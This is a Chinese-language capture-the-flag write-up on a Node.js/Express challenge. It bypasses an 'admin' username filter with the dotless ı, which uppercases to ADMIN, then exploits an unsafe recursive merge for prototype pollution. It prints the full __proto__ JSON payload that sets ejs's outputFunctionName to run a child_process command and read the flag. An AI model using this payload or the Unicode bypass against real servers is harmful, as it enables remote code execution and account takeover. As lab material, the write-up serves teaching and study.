打开网站发现就这么一个页面

f12 也没能找到什么有用的东西
提示说用admin登录
尝试

被拒绝
我们在尝试注册
admin不能注册,随便换了个注册进入页面

在f12看一下

发现藏了一个压缩包
访问一下

拿到源码解压

这里发现有lodash 和ejs 引擎 ,看lodash这个版本 有原型链污染漏洞,ejs引擎也可以进行rce
主要源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); });
router.get('/login', function (req, res) { res.render('login'); });
router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
|
一眼就看到了merge
1 2 3 4 5 6 7 8 9 10 11 12 13
| const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
|
clone 方法调用了merge 我们往下看看有什么调用了clone

只有这一个地方
所以我们污染的地方大概率就是这里了
1 2 3 4 5 6 7 8
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
|
他要先判断
session的user是否是”ADMIN”,但是这里我们是不知道ADMIN的密码的,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; });
|
从他的登录函数里面发现
'user':req.body.userid.toUpperCase(),
这里他调用了转大写,那么我们就可以用特殊字符转为大写是ADMIN其中一个字符是否就可以绕过了呢?
问问大模型写了个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import unicodedata
def is_uppercase_letter(s): return len(s) == 1 and 'A' <= s <= 'Z'
def find_special_chars_to_uppercase_letters(): results = []
for codepoint in range(0x110000): char = chr(codepoint) upper_char = char.upper()
if is_uppercase_letter(upper_char) and not ('A' <= char <= 'Z' or 'a' <= char <= 'z'): try: name = unicodedata.name(char) except ValueError: name = "UNKNOWN" results.append((char, upper_char, f"U+{codepoint:04X}", name))
return results
results = find_special_chars_to_uppercase_letters() for original, uppered, code, name in results: print(f"{code} '{original}' -> '{uppered}' ({name})")
print(f"\n总共有 {len(results)} 个字符在 upper() 后变成 A-Z")
|
运行后输出

1 2
| U+0131 'ı' -> 'I' (LATIN SMALL LETTER DOTLESS I) U+017F 'ſ' -> 'S' (LATIN SMALL LETTER LONG S)
|
所以我们成功找到了ı
这个可以转为大写的I,试试能不能绕过

成功进入了ADMIN 页面
接下来,我们继续分析,如何进行污染,执行rce

这里题目给了提示 outputFunctionName
未定义 而且ejs 引擎的函数执行也会 调用 outputFunctionName
1
| "__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')
|
这里的写法基本是固定的,因为ejs底层的执行命令就可以这么写
接下来抓包 发送payload

这里我们需要将这两个地方改为json格式
payload
1
| {"lua":"aaaa","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
|
发送,然后访问/info调用执行

成功拿到flag